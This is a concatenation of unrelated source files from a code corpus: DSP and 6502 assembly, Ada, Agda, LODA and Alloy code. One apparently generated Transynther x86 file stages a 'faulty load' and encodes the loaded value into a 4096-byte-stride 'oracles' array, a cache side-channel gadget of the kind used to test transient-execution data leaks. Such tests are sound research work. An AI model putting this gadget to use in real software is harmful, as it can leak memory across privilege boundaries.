MOV AH, *+XAR4[ARG_ORDER] ; ACC = [order : 0]
MOV AR0, AH ; AR0 = order (for RPT)
LSL AH, #1 ; = [order*2: 0] (<< 1 to get the 32-bit size)
MOV AL, *+XAR4[ARG_CBINDEX] ; ACC = [order+1*2 : cbindex]
MOVL XAR1, ACC ; XAR1 = [order+1*2 : cbindex]
MOVL ACC, *+XAR4[ARG_INPUT] ; ACC = input
.lp_amode
SETC AMODE ; C2xLP addressing mode to allow
; *+XAR6[AR1%++]
MOVL *+XAR6[AR1%++], ACC ; *XAR6[AR1] = input, AR1+=2
ZAPA
;; <<VC140828 - debug only
;;.asg 0, N
;;.loop
;;QMACL P,*+XAR6[AR1%++],*XAR7++ ; ACC = ACC + P << PM = ACC + P << 0
;; ; P = (signed[*+XAR6[AR1%++]] * signed[*XAR7++]) >> 32
;;.eval N + 1, N ; increment N
;;.break N = FILTER_SIZE
;;.endloop
;; VC140828>>
RPT AR0 ; Repeat order/2 + 1 times
|| QMACL P,*+XAR6[AR1%++],*XAR7++ ; ACC = ACC + P << PM = ACC + P << 0
; P = (signed[*+XAR6[AR1%++]] * signed[*XAR7++]) >> 32
; Let A = input(decimal) B = coeff(decimal)
; C = A << 31 (Q31) D = B << 31 (Q31)
; P = (C * D) >> 32
; = (A*2^31 * B^2^31) * 2^-32
; = (A * B) * 2^30 -> Q30
; ACC = ACC + P << 0 (Q30)
.c28_amode
CLRC AMODE ; Back to C28x addressing mode
ADDL ACC, P ; ACC += P
MOVL *+XAR4[ARG_OUTPUT],ACC ; Store saturated result (Q30)
MOV *+XAR4[ARG_CBINDEX], AR1 ; Store AR1(index for the next sample)
SPM 0
POP XAR1 ; Restore
CLRC SXM, OVM ; Clear sign extension and saturate mode
LRETR
;;#############################################################################
;; End of File
;;#############################################################################
|
eBindings/dl/tests/dl-test_all_suit.adb | persan/zeromq-Ada | 33 | 16179 | <reponame>persan/zeromq-Ada<filename>eBindings/dl/tests/dl-test_all_suit.adb<gh_stars>10-100
-- Import tests and sub-suites to run
with Dl.Test_Basics;
package body Dl.Test_All_Suit is
use AUnit.Test_Suites;
-- Statically allocate test suite:
Result : aliased Test_Suite;
-- Statically allocate test cases:
Test_1 : aliased Dl.Test_Basics.Test_Case;
-----------
-- Suite --
-----------
function Suite return AUnit.Test_Suites.Access_Test_Suite is
begin
Add_Test (Result'Access, Test_1'Access);
return Result'Access;
end Suite;
end Dl.Test_All_Suit; |
Borland/CBuilder5/Source/Vcl/pow10.asm | TrevorDArcyEvans/DivingMagpieSoftware | 1 | 95984 | <reponame>TrevorDArcyEvans/DivingMagpieSoftware
; *******************************************************
; * *
; * Delphi Runtime Library *
; * *
; * Copyright (c) 1996,98 Inprise Corporation *
; * *
; *******************************************************
INCLUDE SE.ASM
.386
.MODEL FLAT
PUBLIC _Pow10,FPower10
.CODE
; FUNCTION _Pow10( val: Extended; int pow: Integer ) : Extended;
_Pow10 PROC
; -> FST(0) val
; -> EAX Power
; <- FST(0) val * 10**Power
; This routine generates 10**power with no more than two
; floating point multiplications. Up to 10**31, no multiplications
; are needed.
FPower10:
TEST EAX,EAX
JL @@neg
JE @@exit
CMP EAX,5120
JGE @@inf
MOV EDX,EAX
AND EDX,01FH
LEA EDX,[EDX+EDX*4]
FLD tab0[EDX*2]
FMULP
SHR EAX,5
JE @@exit
MOV EDX,EAX
AND EDX,0FH
JE @@skip2ndMul
LEA EDX,[EDX+EDX*4]
FLD tab1-10[EDX*2]
FMULP
@@skip2ndMul:
SHR EAX,4
JE @@exit
LEA EAX,[EAX+EAX*4]
FLD tab2-10[EAX*2]
FMULP
@@exit:
RET
@@neg:
NEG EAX
CMP EAX,5120
JGE @@zero
MOV EDX,EAX
AND EDX,01FH
LEA EDX,[EDX+EDX*4]
FLD tab0[EDX*2]
FDIVP
SHR EAX,5
JE @@exit
MOV EDX,EAX
AND EDX,0FH
JE @@skip2ndDiv
LEA EDX,[EDX+EDX*4]
FLD tab1-10[EDX*2]
FDIVP
@@skip2ndDiv:
SHR EAX,4
JE @@exit
LEA EAX,[EAX+EAX*4]
FLD tab2-10[EAX*2]
FDIVP
RET
@@inf:
FLD inf
RET
@@zero:
FLDZ
RET
inf DT 7FFF8000000000000000R
if 0 ; unfortunately, tasm32 makes some numbers one bit too small...
tab0 DT 1E0
DT 1E1
DT 1E2
DT 1E3
DT 1E4
DT 1E5
DT 1E6
DT 1E7
DT 1E8
DT 1E9
DT 1E10
DT 1E11
DT 1E12
DT 1E13
DT 1E14
DT 1E15
DT 1E16
DT 1E17
DT 1E18
DT 1E19
DT 1E20
DT 1E21
DT 1E22
DT 1E23
DT 1E24
DT 1E25
DT 1E26
DT 1E27
DT 1E28
DT 1E29
DT 1E30
DT 1E31
tab1 DT 1E32
DT 1E64
DT 1E96
DT 1E128
DT 1E160
DT 1E192
DT 1E224
DT 1E256
DT 1E288
DT 1E320
DT 1E352
DT 1E384
DT 1E416
DT 1E448
DT 1E480
tab2 DT 1E512
DT 1E1024
DT 1E1536
DT 1E2048
DT 1E2560
DT 1E3072
DT 1E3584
DT 1E4096
DT 1E4608
else ; these are better numbers ...
tab0 DT 3FFF8000000000000000R ; 10**0
DT 4002A000000000000000R ; 10**1
DT 4005C800000000000000R ; 10**2
DT 4008FA00000000000000R ; 10**3
DT 400C9C40000000000000R ; 10**4
DT 400FC350000000000000R ; 10**5
DT 4012F424000000000000R ; 10**6
DT 40169896800000000000R ; 10**7
DT 4019BEBC200000000000R ; 10**8
DT 401CEE6B280000000000R ; 10**9
DT 40209502F90000000000R ; 10**10
DT 4023BA43B74000000000R ; 10**11
DT 4026E8D4A51000000000R ; 10**12
DT 402A9184E72A00000000R ; 10**13
DT 402DB5E620F480000000R ; 10**14
DT 4030E35FA931A0000000R ; 10**15
DT 40348E1BC9BF04000000R ; 10**16
DT 4037B1A2BC2EC5000000R ; 10**17
DT 403ADE0B6B3A76400000R ; 10**18
DT 403E8AC7230489E80000R ; 10**19
DT 4041AD78EBC5AC620000R ; 10**20
DT 4044D8D726B7177A8000R ; 10**21
DT 4048878678326EAC9000R ; 10**22
DT 404BA968163F0A57B400R ; 10**23
DT 404ED3C21BCECCEDA100R ; 10**24
DT 405284595161401484A0R ; 10**25
DT 4055A56FA5B99019A5C8R ; 10**26
DT 4058CECB8F27F4200F3AR ; 10**27
DT 405C813F3978F8940984R ; 10**28
DT 405FA18F07D736B90BE5R ; 10**29
DT 4062C9F2C9CD04674EDFR ; 10**30
DT 4065FC6F7C4045812296R ; 10**31
tab1 DT 40699DC5ADA82B70B59ER ; 10**32
DT 40D3C2781F49FFCFA6D5R ; 10**64
DT 413DEFB3AB16C59B14A3R ; 10**96
DT 41A893BA47C980E98CE0R ; 10**128
DT 4212B616A12B7FE617AAR ; 10**160
DT 427CE070F78D3927556BR ; 10**192
DT 42E78A5296FFE33CC930R ; 10**224
DT 4351AA7EEBFB9DF9DE8ER ; 10**256
DT 43BBD226FC195C6A2F8CR ; 10**288
DT 442681842F29F2CCE376R ; 10**320
DT 44909FA42700DB900AD2R ; 10**352
DT 44FAC4C5E310AEF8AA17R ; 10**384
DT 4564F28A9C07E9B09C59R ; 10**416
DT 45CF957A4AE1EBF7F3D4R ; 10**448
DT 4639B83ED8DC0795A262R ; 10**480
tab2 DT 46A3E319A0AEA60E91C7R ; 10**512
DT 4D48C976758681750C17R ; 10**1024
DT 53EDB2B8353B3993A7E4R ; 10**1536
DT 5A929E8B3B5DC53D5DE5R ; 10**2048
DT 61378CA554C020A1F0A6R ; 10**2560
DT 67DBF9895D25D88B5A8BR ; 10**3072
DT 6E80DD5DC8A2BF27F3F8R ; 10**3584
DT 7525C46052028A20979BR ; 10**4096
DT 7BCAAE3511626ED559F0R ; 10**4608
endif
_Pow10 ENDP
END
|
sound.asm | DChristianson/atari-vcs-samples | 0 | 241524 | processor 6502
include "vcs.h"
include "macro.h"
NTSC = 0
PAL60 = 1
IFNCONST SYSTEM
SYSTEM = NTSC
ENDIF
; ----------------------------------
; constants
#if SYSTEM = NTSC
; NTSC Colors
POND_WATER = $A0
#else
; PAL Colors
POND_WATER = $92
#endif
SEG.U variables
ORG $80
frame ds 1
audspeed ds 1
audpat ds 1
mode ds 1
audc ds 1
audf ds 1
buzzer ds 1
;-------------
;.| |.;
;-/ \-;
; G ;
;-\ B /-;
;.| |.;
;-------------
SEG
ORG $F000
Reset
; clear cld
cld
; set TIA to known state (clear to 0)
lda #0
ldx #$3f
.zapTIA sta 0,x
dex
bpl .zapTIA
ldx #127
.zapRAM sta $80,x
dex
bpl .zapRAM
lda #$13
sta audf
lda #$00
sta audc
lda #$02
sta audspeed
sta frame
lda #$d8
sta audpat
sta mode
StartOfFrame
; Start of vertical blank processing
lda #0
sta VBLANK
; 3 scanlines of vertical sync signal to follow
lda #%00000010
sta VSYNC ; turn ON VSYNC bit 1
sta WSYNC ; wait a scanline
sta WSYNC ; another
sta WSYNC ; another = 3 lines total
lda #0
sta VSYNC ; turn OFF VSYNC bit 1
; 37 scanlines of vertical blank to follow
lda #1
sta VBLANK
ldx #36
vBlank sta WSYNC
dex
bne vBlank
lda #0
sta VBLANK
movePlayer_dir
; SL 23
sta WSYNC ;3 0
lda #$08
sta AUDV1
lda #$80
bit SWCHA ;3 3
beq movePlayer_right ;2 5
lsr ;2 7
bit SWCHA ;3 10
beq movePlayer_left ;2 12
lda #$00
sta AUDV1
jmp movePlayer_end ;3 30
movePlayer_right
lda #$02
sta AUDF1
jmp movePlayer_end
movePlayer_left
sec
lda audspeed
sbc frame
sta AUDF1
lda #$0a
movePlayer_end
sta AUDC1
updateAudio
sta WSYNC
dec frame
bpl updateAudio_end
ror mode
bcc updateAudio_clear
lda audf
sta AUDF0
lda audc
sta AUDC0
lda #$03
sta AUDV0
jmp updateAudio_reset
updateAudio_clear
bne updateAudio_clear_0
lda audpat
sta mode
updateAudio_clear_0
lda #$00
sta AUDF0
sta AUDC0
sta AUDV0
updateAudio_reset
lda audspeed
sta frame
updateAudio_end
startPlayfield
; 44 22 * * * * *
; ee 77 *** *** *** *** ***
; ********************
; 45677654321001234567
; c0 c0 0f **** ****
; f0 f3 3f ******** ********
; ff ff ff ********************
; 45677654321001234567
; parallax
sta WSYNC
lda #POND_WATER
sta COLUBK
sta WSYNC
lda #$22
sta PF1
asl
sta PF2
sta WSYNC
lda #$22
sta PF1
asl
sta PF0
sta PF2
sta WSYNC
lda #$77
sta PF1
asl
sta PF0
sta PF2
sta WSYNC
lda #$77
sta PF1
asl
sta PF0
sta PF2
sta WSYNC
lda #$ff
sta PF1
sta PF0
sta PF2
sta WSYNC
; pond
sta WSYNC
lda #POND_WATER
sta COLUBK
lda #$00
sta PF1
sta PF0
sta PF2
ldx #185
pondLoop sta WSYNC
dex
bne pondLoop
; overscan
lda #0
sta COLUBK
ldx #30
overscan sta WSYNC
dex
bne overscan
jmp StartOfFrame
;-----------------------------------------------------------------------------------
; the CPU reset vectors
ORG $F7FA
.word Reset ; NMI
.word Reset ; RESET
.word Reset ; IRQ
END |
awa/plugins/awa-storages/src/awa-storages.ads | My-Colaborations/ada-awa | 81 | 10615 | <reponame>My-Colaborations/ada-awa
-----------------------------------------------------------------------
-- awa-storages -- Storage module
-- Copyright (C) 2012, 2015, 2016, 2018, 2020 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Ada.Strings.Unbounded;
with Ada.Finalization;
with ADO;
-- = Storages Module =
-- The `storages` module provides a set of storage services allowing
-- an application to store data files, documents, images in a persistent area.
-- The persistent store can be on a file system, in the database or provided
-- by a remote service such as Amazon Simple Storage Service.
--
-- @include awa-storages-modules.ads
--
-- == Creating a storage ==
-- A data in the storage is represented by a `Storage_Ref` instance.
-- The data itself can be physically stored in a file system (`FILE` mode),
-- in the database (`DATABASE` mode) or on a remote server (`URL` mode).
-- To put a file in the storage space, first create the storage object
-- instance:
--
-- Data : AWA.Storages.Models.Storage_Ref;
--
-- Then setup the storage mode that you want. The storage service uses
-- this information to save the data in a file, in the database or in
-- a remote service (in the future).
-- To save a file in the store, we can use the `Save` operation of the
-- storage service.
-- It will read the file and put in in the corresponding persistent store
-- (the database in this example).
--
-- Service.Save (Into => Data, Path => Path_To_The_File,
-- Storage => AWA.Storages.Models.DATABASE);
--
-- Upon successful completion, the storage instance `Data` will be allocated
-- a unique identifier that can be retrieved by `Get_Id` or `Get_Key`.
--
-- == Getting the data ==
-- Several operations are defined to retrieve the data. Each of them has been
-- designed to optimize the retrieval and
--
-- * The data can be retrieved in a local file.
-- This mode is useful if an external program must be launched and be able
-- to read the file. If the storage mode of the data is `FILE`, the path
-- of the file on the storage file system is used. For other storage modes,
-- the file is saved in a temporary file. In that case the `Store_Local`
-- database table is used to track such locally saved data.
--
-- * The data can be returned as a stream.
-- When the application has to read the data, opening a read stream
-- connection is the most efficient mechanism.
--
-- == Local file ==
-- To access the data by using a local file, we must define a local storage
-- reference:
--
-- Data : AWA.Storages.Models.Store_Local_Ref;
--
-- and use the `Load` operation with the storage identifier. When loading
-- locally we also indicate whether the file will be read or written. A file
-- that is in `READ` mode can be shared by several tasks or processes.
-- A file that is in `WRITE` mode will have a specific copy for the caller.
-- An optional expiration parameter indicate when the local file representation
-- can expire.
--
-- Service.Load (From => Id, Into => Data, Mode => READ, Expire => ONE_DAY);
--
-- Once the load operation succeeded, the data is stored on the file system and
-- the local path is obtained by using the `Get_Path` operation:
--
-- Path : constant String := Data.Get_Path;
--
-- @include awa-storages-services.ads
--
-- == Ada Beans ==
-- @include-bean storages.xml
-- @include-bean storage-list.xml
-- @include-bean folder-queries.xml
-- @include-bean storage-queries.xml
--
-- @include awa-storages-servlets.ads
--
-- == Queries ==
-- @include-query storage-list.xml
-- @include-query folder-queries.xml
-- @include-query storage-queries.xml
-- @include-query storage-info.xml
--
-- == Data model ==
-- [images/awa_storages_model.png]
--
package AWA.Storages is
type Storage_Type is (DATABASE, FILE, URL, CACHE, TMP);
type Storage_File (Storage : Storage_Type) is tagged limited private;
-- Get the path to get access to the file.
function Get_Path (File : in Storage_File) return String;
-- Set the file path for the FILE, URL, CACHE or TMP storage.
procedure Set (File : in out Storage_File;
Path : in String);
-- Set the file database storage identifier.
procedure Set (File : in out Storage_File;
Workspace : in ADO.Identifier;
Store : in ADO.Identifier);
private
type Storage_File (Storage : Storage_Type) is limited
new Ada.Finalization.Limited_Controlled with record
case Storage is
when DATABASE =>
Workspace : ADO.Identifier;
Store : ADO.Identifier;
when FILE | URL | CACHE | TMP =>
Path : Ada.Strings.Unbounded.Unbounded_String;
end case;
end record;
overriding
procedure Finalize (File : in out Storage_File);
end AWA.Storages;
|
src/Prelude/Word.agda | L-TChen/agda-prelude | 111 | 5563 | <filename>src/Prelude/Word.agda
module Prelude.Word where
import Agda.Builtin.Word as Word
open import Prelude.Nat
open import Prelude.Number
open import Prelude.Semiring
open import Prelude.Equality
open import Prelude.Equality.Unsafe
open import Prelude.Ord
open import Prelude.Unit
open import Prelude.Function
open import Prelude.Decidable
open Word public using (Word64) renaming (primWord64ToNat to word64ToNat;
primWord64FromNat to word64FromNat)
open Word
private
2⁶⁴ : Nat
2⁶⁴ = 18446744073709551616
{-# INLINE 2⁶⁴ #-}
inv-word64ToNat : ∀ {a} → word64FromNat (word64ToNat a) ≡ a
inv-word64ToNat = unsafeEqual
emb-word64FromNat : ∀ n → word64ToNat (word64FromNat n) ≡ n mod 2⁶⁴
emb-word64FromNat n = unsafeEqual
inj-word64ToNat : ∀ {a b} → word64ToNat a ≡ word64ToNat b → a ≡ b
inj-word64ToNat {a} {b} eq = eraseEquality (
a ≡⟨ inv-word64ToNat ⟩ʳ
word64FromNat (word64ToNat a)
≡⟨ word64FromNat $≡ eq ⟩
word64FromNat (word64ToNat b)
≡⟨ inv-word64ToNat ⟩
b ∎)
instance
NumWord64 : Number Word64
Number.Constraint NumWord64 _ = ⊤
fromNat {{NumWord64}} n = word64FromNat n
EqWord64 : Eq Word64
_==_ {{EqWord64}} a b =
case word64ToNat a == word64ToNat b of λ where
(yes _) → yes unsafeEqual
(no _) → no unsafeNotEqual
OrdWord64 : Ord Word64
OrdWord64 = OrdBy inj-word64ToNat
OrdLawsWord64 : Ord/Laws Word64
OrdLawsWord64 = OrdLawsBy inj-word64ToNat
-- Arithmetic --
private
natOp : (Nat → Nat → Nat) → Word64 → Word64 → Word64
natOp f a b = fromNat (f (word64ToNat a) (word64ToNat b))
{-# INLINE natOp #-}
add64 : Word64 → Word64 → Word64
add64 = natOp _+_
sub64 : Word64 → Word64 → Word64
sub64 = natOp λ a b → a + 2⁶⁴ - b
mul64 : Word64 → Word64 → Word64
mul64 = natOp _*_
{-# INLINE add64 #-}
{-# INLINE sub64 #-}
{-# INLINE mul64 #-}
NonZero64 : Word64 → Set
NonZero64 a = NonZero (word64ToNat a)
infixl 7 divWord64 modWord64
syntax divWord64 b a = a div64 b
divWord64 : (b : Word64) {{nz : NonZero64 b}} → Word64 → Word64
divWord64 b a = fromNat (word64ToNat a div word64ToNat b)
syntax modWord64 b a = a mod64 b
modWord64 : (b : Word64) {{nz : NonZero64 b}} → Word64 → Word64
modWord64 b a = fromNat (word64ToNat a mod word64ToNat b)
{-# INLINE divWord64 #-}
{-# INLINE modWord64 #-}
instance
SemiringWord64 : Semiring Word64
Semiring.zro SemiringWord64 = 0
Semiring.one SemiringWord64 = 1
Semiring._+_ SemiringWord64 = add64
Semiring._*_ SemiringWord64 = mul64
NegWord64 : Negative Word64
Negative.Constraint NegWord64 _ = ⊤
fromNeg {{NegWord64}} n = sub64 0 (fromNat n)
SubWord64 : Subtractive Word64
_-_ {{SubWord64}} = sub64
negate {{SubWord64}} = sub64 0
|
oeis/141/A141940.asm | neoneye/loda-programs | 11 | 244945 | ; A141940: Primes congruent to 17 mod 25.
; Submitted by <NAME>
; 17,67,167,317,367,467,617,967,1117,1217,1367,1567,1667,1867,2017,2267,2417,2467,2617,2767,2917,3067,3167,3217,3467,3517,3617,3767,3917,3967,4217,4517,4567,4817,4967,5167,5417,5717,5867,6067,6217,6317,6367,6917,6967,7417,7517,7717,7817,7867,8017,8117,8167,8317,8467,8867,9067,9467,9767,9817,9967,10067,10267,10567,10667,10867,11117,11317,11467,11617,11717,11867,12517,12917,12967,13217,13267,13367,13417,13567,13967,14717,14767,14867,15017,15217,15467,15667,15767,15817,16067,16217,16267,16417,16567
mov $2,$0
pow $2,2
lpb $2
mov $3,$4
add $3,16
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
mov $1,$0
max $1,0
cmp $1,$0
mul $2,$1
sub $2,1
add $4,50
lpe
mov $0,$4
add $0,17
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1594.asm | ljhsiun2/medusa | 9 | 27063 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r15
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x16d8a, %r9
xor %rsi, %rsi
mov (%r9), %r15d
nop
nop
nop
nop
nop
lfence
lea addresses_UC_ht+0x14c50, %rsi
lea addresses_WC_ht+0x1db3c, %rdi
add $23931, %r15
mov $70, %rcx
rep movsl
nop
nop
nop
nop
nop
add %rdi, %rdi
lea addresses_UC_ht+0x1d3a2, %rbx
nop
dec %r11
mov $0x6162636465666768, %rcx
movq %rcx, (%rbx)
nop
nop
nop
nop
sub $57548, %rbx
lea addresses_WC_ht+0x15d8a, %rbx
nop
nop
nop
nop
nop
cmp $59070, %rdi
mov (%rbx), %ecx
nop
nop
nop
inc %rbx
lea addresses_normal_ht+0xa38a, %r15
nop
nop
nop
and %rcx, %rcx
movb $0x61, (%r15)
nop
nop
nop
add %r9, %r9
lea addresses_A_ht+0x898a, %r11
nop
nop
nop
cmp $23883, %r15
movb $0x61, (%r11)
nop
nop
nop
nop
inc %r11
lea addresses_A_ht+0x12ca2, %rsi
lea addresses_D_ht+0x1d7a8, %rdi
nop
nop
nop
nop
nop
cmp $35589, %r12
mov $115, %rcx
rep movsb
nop
xor $26648, %rsi
lea addresses_D_ht+0xda7a, %rdi
and $8980, %rcx
vmovups (%rdi), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $0, %xmm1, %rbx
nop
nop
nop
nop
and %r9, %r9
lea addresses_WT_ht+0xa45e, %r11
nop
nop
nop
nop
nop
add $44994, %rdi
movw $0x6162, (%r11)
sub %r11, %r11
lea addresses_WC_ht+0x1a58a, %rsi
lea addresses_normal_ht+0x1610a, %rdi
clflush (%rsi)
clflush (%rdi)
nop
nop
nop
xor %r15, %r15
mov $18, %rcx
rep movsb
nop
nop
nop
inc %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r15
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r15
push %rbx
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_PSE+0x6082, %rsi
lea addresses_UC+0x1158a, %rdi
nop
nop
sub $60079, %r13
mov $97, %rcx
rep movsl
nop
nop
nop
nop
dec %r14
// Store
lea addresses_WT+0x1795a, %r13
nop
nop
nop
sub %rdi, %rdi
mov $0x5152535455565758, %rsi
movq %rsi, %xmm1
vmovups %ymm1, (%r13)
nop
nop
nop
nop
nop
xor $51170, %r15
// Store
lea addresses_WT+0xc392, %rdi
nop
nop
inc %rbx
mov $0x5152535455565758, %rsi
movq %rsi, (%rdi)
nop
nop
cmp $49959, %rcx
// Faulty Load
lea addresses_D+0x1758a, %r14
nop
nop
nop
nop
nop
xor %r15, %r15
mov (%r14), %rdi
lea oracles, %rsi
and $0xff, %rdi
shlq $12, %rdi
mov (%rsi,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 8, 'NT': True, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_PSE', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 3}}
[Faulty Load]
{'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': True, 'size': 8, 'NT': False, 'same': False, 'congruent': 2}}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': True, 'size': 1, 'NT': False, 'same': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 10}}
{'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 2}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
models/hol/sygus/synth_ast.als | johnwickerson/alloystar | 2 | 2730 | <filename>models/hol/sygus/synth_ast.als
module synth_ast
open util/integer as b
--------------------------------------------------------------------------------
-- Values
--------------------------------------------------------------------------------
/* use the builtin Int and Bit */
sig IntVarVal in Int {}
--------------------------------------------------------------------------------
-- AST Nodes
--------------------------------------------------------------------------------
abstract sig Node {}
abstract sig BoolNode extends Node {}
abstract sig IntNode extends Node {}
---------------------------------------------
-- BoolNodes
---------------------------------------------
abstract sig BoolVar extends BoolNode {}
abstract sig BoolLit extends BoolNode {
val: one Bit
}
abstract sig IntComp extends BoolNode {
left, right: one IntNode
}
abstract sig BoolComp extends BoolNode {
left, right: one BoolNode
}
abstract sig BoolInvComp extends BoolComp {
invLhs, invRhs, invOut: one Bit
}
sig Equals, GTE, LTE, GT, LT extends IntComp {}
sig Nand, And, Nor, Or, Xor extends BoolComp {}
sig Not extends BoolNode {
arg: one (BoolVar + And) // one BoolNode
}
sig AndInv, OrInv extends BoolInvComp {}
---------------------------------------------
-- IntNodes
---------------------------------------------
abstract sig IntVar extends IntNode {}
abstract sig IntLit extends IntNode {
val: one Int
}
abstract sig BinaryIntOp extends IntNode {
left, right: one IntNode
}
